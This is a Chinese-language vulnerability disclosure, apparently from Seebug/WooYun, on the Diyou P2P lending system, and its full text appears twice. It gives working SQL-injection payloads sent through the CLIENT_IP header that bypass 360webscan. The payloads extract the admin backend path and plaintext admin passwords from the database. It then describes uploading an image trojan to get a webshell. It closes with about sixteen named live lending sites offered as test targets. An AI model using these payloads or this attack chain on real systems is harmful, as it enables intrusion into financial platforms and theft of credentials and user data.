### 简要描述: 帝友P2P借货系统全局问题(多处注入,无视360防御,gpc)附加整套系统数据库分析 从注入一步步到后台拿shell,分析数据库,注入出后台地址和管理员密码明文 ### 详细说明: --------------------------- 注入篇 首先看看全局文件出现的问题 core\function.inc.php中 ``` function ip_address() { if(!empty($_SERVER["HTTP_CLIENT_IP"])) { $ip_address = $_SERVER["HTTP_CLIENT_IP"]; }else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])){ $ip_address = array_pop(explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])); }else if(!empty($_SERVER["REMOTE_ADDR"])){ $ip_address = $_SERVER["REMOTE_ADDR"]; }else{ $ip_address = ''; } return $ip_address; ``` 获取IP但是没有做正则和过滤,我们搜索下有哪处调用了 [<img src="https://images.seebug.org/upload/201508/07165107fc045abd6ec17563e6cb32c5d4329793.png" alt="QQ截图20150807164943.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/07165107fc045abd6ec17563e6cb32c5d4329793.png) 可以看到搜索出243处实际也就10多处,我就不一一举例,就用一处来举例吧(为什么这么说呢,当然我是自己测试过才知道有多少处的,只是为了简洁才不一一) 找一处实名认证的来测试 文件地址是/core/approve/approve.class.php中 ``` function UpdateRealname($data = array()){...
### 简要描述: 帝友P2P借货系统全局问题(多处注入,无视360防御,gpc)附加整套系统数据库分析 从注入一步步到后台拿shell,分析数据库,注入出后台地址和管理员密码明文 ### 详细说明: --------------------------- 注入篇 首先看看全局文件出现的问题 core\function.inc.php中 ``` function ip_address() { if(!empty($_SERVER["HTTP_CLIENT_IP"])) { $ip_address = $_SERVER["HTTP_CLIENT_IP"]; }else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])){ $ip_address = array_pop(explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])); }else if(!empty($_SERVER["REMOTE_ADDR"])){ $ip_address = $_SERVER["REMOTE_ADDR"]; }else{ $ip_address = ''; } return $ip_address; ``` 获取IP但是没有做正则和过滤,我们搜索下有哪处调用了 [<img src="https://images.seebug.org/upload/201508/07165107fc045abd6ec17563e6cb32c5d4329793.png" alt="QQ截图20150807164943.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/07165107fc045abd6ec17563e6cb32c5d4329793.png) 可以看到搜索出243处实际也就10多处,我就不一一举例,就用一处来举例吧(为什么这么说呢,当然我是自己测试过才知道有多少处的,只是为了简洁才不一一) 找一处实名认证的来测试 文件地址是/core/approve/approve.class.php中 ``` function UpdateRealname($data = array()){ global $mysql,$upload; //id if (!IsExiest($data['user_id'])) return "approve_realname_user_id_empty"; //判断真实姓名是否存在 if (!IsExiest($data['realname'])) { return "approve_realname_realname_empty"; } //判断身份证号是否存在 if (!IsExiest($data['card_id'])) { return "approve_realname_card_id_empty"; } if (!self::isIdCard($data['card_id'])) { return "approve_realname_card_id_error"; } $sql = "select * from `{approve_realname}` where card_id='{$data['card_id']}' and status=1 and user_id!='{$data['user_id']}'" ; $result = $mysql->db_fetch_array($sql); if ($result!=false) { return "approve_realname_card_id_exiest";} $result = self::GetRealnameOne(array("user_id"=>$data['user_id'])); if (IsExiest($data['card_pic1'])!=false){ $_data['user_id'] = $result["user_id"]; $_data['id'] = $result["card_pic1"]; $upload->Delete($_data); } if (IsExiest($data['card_pic2'])!=false){ $_data['user_id'] = $result["user_id"]; $_data['id'] = $result["card_pic2"]; $upload->Delete($_data); } $sql = "update `{approve_realname}` set addtime='".time()."',addip='".ip_address()."',"; foreach($data as $key => $value){ $_sql[] = "`$key` = '$value'"; } $mysql->db_query($sql.join(",",$_sql)." where user_id='{$data['user_id']}'"); return $data["user_id"]; ``` ``` $sql = "update `{approve_realname}` set addtime='".time()."',addip='".ip_address()."',"; ``` 这里是调用了ip_address()函数,但有单引号包含,不怕,因为我们不是$GET/$POST/$COOKIE 可无视360webscan还有gpc。 打开实名认证那块测试注入 http://127.0.0.1/?user&q=code/approve/realname [<img src="https://images.seebug.org/upload/201508/07165651300b9121755b423853cf3e13c787f5b0.png" alt="QQ截图20150807165614.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/07165651300b9121755b423853cf3e13c787f5b0.png) 提交,用burp截包。 然后添加CLIENT_IP:0' 可以看到报错了 [<img src="https://images.seebug.org/upload/201508/071702216938a7047bdc99c11bfcf9a83c1f171e.png" alt="QQ截图20150807170125.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/071702216938a7047bdc99c11bfcf9a83c1f171e.png) 试试构造exp,union select是不行的了,可以试试updatexml ``` CLIENT_IP:0' or updatexml(1,concat(0x7e,(version())),0) or ' ``` 可以爆出数据了 [<img src="https://images.seebug.org/upload/201508/07170813cd09d3f957a7f291d53cf1e278be80b3.png" alt="QQ截图20150807170731.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/07170813cd09d3f957a7f291d53cf1e278be80b3.png) -------------------------------------------------- 数据库篇 帝友系统是把配置文件都存数据库的,所以后台地址也可以在数据库里找的到。 配置文件内容在yyd_system这个表中 [<img src="https://images.seebug.org/upload/201508/071711144b262c118e5ea5d99e4dd2d369f91bf4.png" alt="QQ截图20150807171039.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/071711144b262c118e5ea5d99e4dd2d369f91bf4.png) 找到了,我们试试用注入爆出来看看 EXP: ``` CLIENT_IP:0' or updatexml(1,concat(0x7e,(select value from yyd_system LIMIT 66,1)),0) or ' ``` [<img src="https://images.seebug.org/upload/201508/07172352047e8905c8c98e9f3f65747a9dd6fa43.png" alt="QQ截图20150807172311.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/07172352047e8905c8c98e9f3f65747a9dd6fa43.png) 可以看到爆出了 (~admin) 管理员我就不测试爆出了。 我们来看看数据库哪里存在了明文存储 表:yyd_users_adminlog 这个是管理员登陆日志来的,明文记录了密码 [<img src="https://images.seebug.org/upload/201508/071726550b7e15a8899102c4d457bd3c25bff007.png" alt="QQ截图20150807172540.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/071726550b7e15a8899102c4d457bd3c25bff007.png) EXP: ``` CLIENT_IP:0' or updatexml(1,concat(0x7e,(select data from yyd_users_adminlog LIMIT 0,1)),0) or ' ``` 可以看到爆出来 [<img src="https://images.seebug.org/upload/201508/07172856d7422f0ace9e6dc4ba3cd0ff59fdc6fa.png" alt="QQ截图20150807172813.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/07172856d7422f0ace9e6dc4ba3cd0ff59fdc6fa.png) 有时太长爆的不完整,可以用substr来截取。 ------------------------------------------------- 好了,最后我们到拿shell篇了 打开文章管理,然后添加文章,在萎缩图那里提交图片马,burp截包时修改php后续 [<img src="https://images.seebug.org/upload/201508/071742164b719b76802e7d44925ef3ddf48c1ca2.png" alt="QQ截图20150807174037.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/071742164b719b76802e7d44925ef3ddf48c1ca2.png) [<img src="https://images.seebug.org/upload/201508/07174200cc961b341371e531ff5a599b8faefc9e.png" alt="QQ截图20150807174104.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/07174200cc961b341371e531ff5a599b8faefc9e.png) 好了可以看到直接上传成功了 ---------------------------- 案例篇(送十几个测试案例) ``` www.bliwang.com www.p2phx.com www.zhengdaguquan.com www.lcbang.cn www.zndai.com www.cnzyzb.com www.jinmaoweidai.com www.mirong.com www.ronghedai.com www.woziben.com www.khcaifu.com www.leyuancaifu.com www.daidaicn.com www.shicaidai.com www.yingjiudai.com www.gdqilian.com ``` 手好累,打了那么长的分析过程 ### 漏洞证明: --------------------------- 注入篇 首先看看全局文件出现的问题 core\function.inc.php中 ``` function ip_address() { if(!empty($_SERVER["HTTP_CLIENT_IP"])) { $ip_address = $_SERVER["HTTP_CLIENT_IP"]; }else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])){ $ip_address = array_pop(explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])); }else if(!empty($_SERVER["REMOTE_ADDR"])){ $ip_address = $_SERVER["REMOTE_ADDR"]; }else{ $ip_address = ''; } return $ip_address; ``` 获取IP但是没有做正则和过滤,我们搜索下有哪处调用了 [<img src="https://images.seebug.org/upload/201508/07165107fc045abd6ec17563e6cb32c5d4329793.png" alt="QQ截图20150807164943.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/07165107fc045abd6ec17563e6cb32c5d4329793.png) 可以看到搜索出243处实际也就10多处,我就不一一举例,就用一处来举例吧(为什么这么说呢,当然我是自己测试过才知道有多少处的,只是为了简洁才不一一) 找一处实名认证的来测试 文件地址是/core/approve/approve.class.php中 ``` function UpdateRealname($data = array()){ global $mysql,$upload; //id if (!IsExiest($data['user_id'])) return "approve_realname_user_id_empty"; //判断真实姓名是否存在 if (!IsExiest($data['realname'])) { return "approve_realname_realname_empty"; } //判断身份证号是否存在 if (!IsExiest($data['card_id'])) { return "approve_realname_card_id_empty"; } if (!self::isIdCard($data['card_id'])) { return "approve_realname_card_id_error"; } $sql = "select * from `{approve_realname}` where card_id='{$data['card_id']}' and status=1 and user_id!='{$data['user_id']}'" ; $result = $mysql->db_fetch_array($sql); if ($result!=false) { return "approve_realname_card_id_exiest";} $result = self::GetRealnameOne(array("user_id"=>$data['user_id'])); if (IsExiest($data['card_pic1'])!=false){ $_data['user_id'] = $result["user_id"]; $_data['id'] = $result["card_pic1"]; $upload->Delete($_data); } if (IsExiest($data['card_pic2'])!=false){ $_data['user_id'] = $result["user_id"]; $_data['id'] = $result["card_pic2"]; $upload->Delete($_data); } $sql = "update `{approve_realname}` set addtime='".time()."',addip='".ip_address()."',"; foreach($data as $key => $value){ $_sql[] = "`$key` = '$value'"; } $mysql->db_query($sql.join(",",$_sql)." where user_id='{$data['user_id']}'"); return $data["user_id"]; ``` ``` $sql = "update `{approve_realname}` set addtime='".time()."',addip='".ip_address()."',"; ``` 这里是调用了ip_address()函数,但有单引号包含,不怕,因为我们不是$GET/$POST/$COOKIE 可无视360webscan还有gpc。 打开实名认证那块测试注入 http://127.0.0.1/?user&q=code/approve/realname [<img src="https://images.seebug.org/upload/201508/07165651300b9121755b423853cf3e13c787f5b0.png" alt="QQ截图20150807165614.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/07165651300b9121755b423853cf3e13c787f5b0.png) 提交,用burp截包。 然后添加CLIENT_IP:0' 可以看到报错了 [<img src="https://images.seebug.org/upload/201508/071702216938a7047bdc99c11bfcf9a83c1f171e.png" alt="QQ截图20150807170125.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/071702216938a7047bdc99c11bfcf9a83c1f171e.png) 试试构造exp,union select是不行的了,可以试试updatexml ``` CLIENT_IP:0' or updatexml(1,concat(0x7e,(version())),0) or ' ``` 可以爆出数据了 [<img src="https://images.seebug.org/upload/201508/07170813cd09d3f957a7f291d53cf1e278be80b3.png" alt="QQ截图20150807170731.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/07170813cd09d3f957a7f291d53cf1e278be80b3.png) -------------------------------------------------- 数据库篇 帝友系统是把配置文件都存数据库的,所以后台地址也可以在数据库里找的到。 配置文件内容在yyd_system这个表中 [<img src="https://images.seebug.org/upload/201508/071711144b262c118e5ea5d99e4dd2d369f91bf4.png" alt="QQ截图20150807171039.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/071711144b262c118e5ea5d99e4dd2d369f91bf4.png) 找到了,我们试试用注入爆出来看看 EXP: ``` CLIENT_IP:0' or updatexml(1,concat(0x7e,(select value from yyd_system LIMIT 66,1)),0) or ' ``` [<img src="https://images.seebug.org/upload/201508/07172352047e8905c8c98e9f3f65747a9dd6fa43.png" alt="QQ截图20150807172311.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/07172352047e8905c8c98e9f3f65747a9dd6fa43.png) 可以看到爆出了 (~admin) 管理员我就不测试爆出了。 我们来看看数据库哪里存在了明文存储 表:yyd_users_adminlog 这个是管理员登陆日志来的,明文记录了密码 [<img src="https://images.seebug.org/upload/201508/071726550b7e15a8899102c4d457bd3c25bff007.png" alt="QQ截图20150807172540.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/071726550b7e15a8899102c4d457bd3c25bff007.png) EXP: ``` CLIENT_IP:0' or updatexml(1,concat(0x7e,(select data from yyd_users_adminlog LIMIT 0,1)),0) or ' ``` 可以看到爆出来 [<img src="https://images.seebug.org/upload/201508/07172856d7422f0ace9e6dc4ba3cd0ff59fdc6fa.png" alt="QQ截图20150807172813.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/07172856d7422f0ace9e6dc4ba3cd0ff59fdc6fa.png) 有时太长爆的不完整,可以用substr来截取。 ------------------------------------------------- 好了,最后我们到拿shell篇了 打开文章管理,然后添加文章,在萎缩图那里提交图片马,burp截包时修改php后续 [<img src="https://images.seebug.org/upload/201508/071742164b719b76802e7d44925ef3ddf48c1ca2.png" alt="QQ截图20150807174037.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/071742164b719b76802e7d44925ef3ddf48c1ca2.png) [<img src="https://images.seebug.org/upload/201508/07174200cc961b341371e531ff5a599b8faefc9e.png" alt="QQ截图20150807174104.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/07174200cc961b341371e531ff5a599b8faefc9e.png) 好了可以看到直接上传成功了 ---------------------------- 案例篇(送十几个测试案例) ``` www.bliwang.com www.p2phx.com www.zhengdaguquan.com www.lcbang.cn www.zndai.com www.cnzyzb.com www.jinmaoweidai.com www.mirong.com www.ronghedai.com www.woziben.com www.khcaifu.com www.leyuancaifu.com www.daidaicn.com www.shicaidai.com www.yingjiudai.com www.gdqilian.com ``` 手好累,打了那么长的分析过程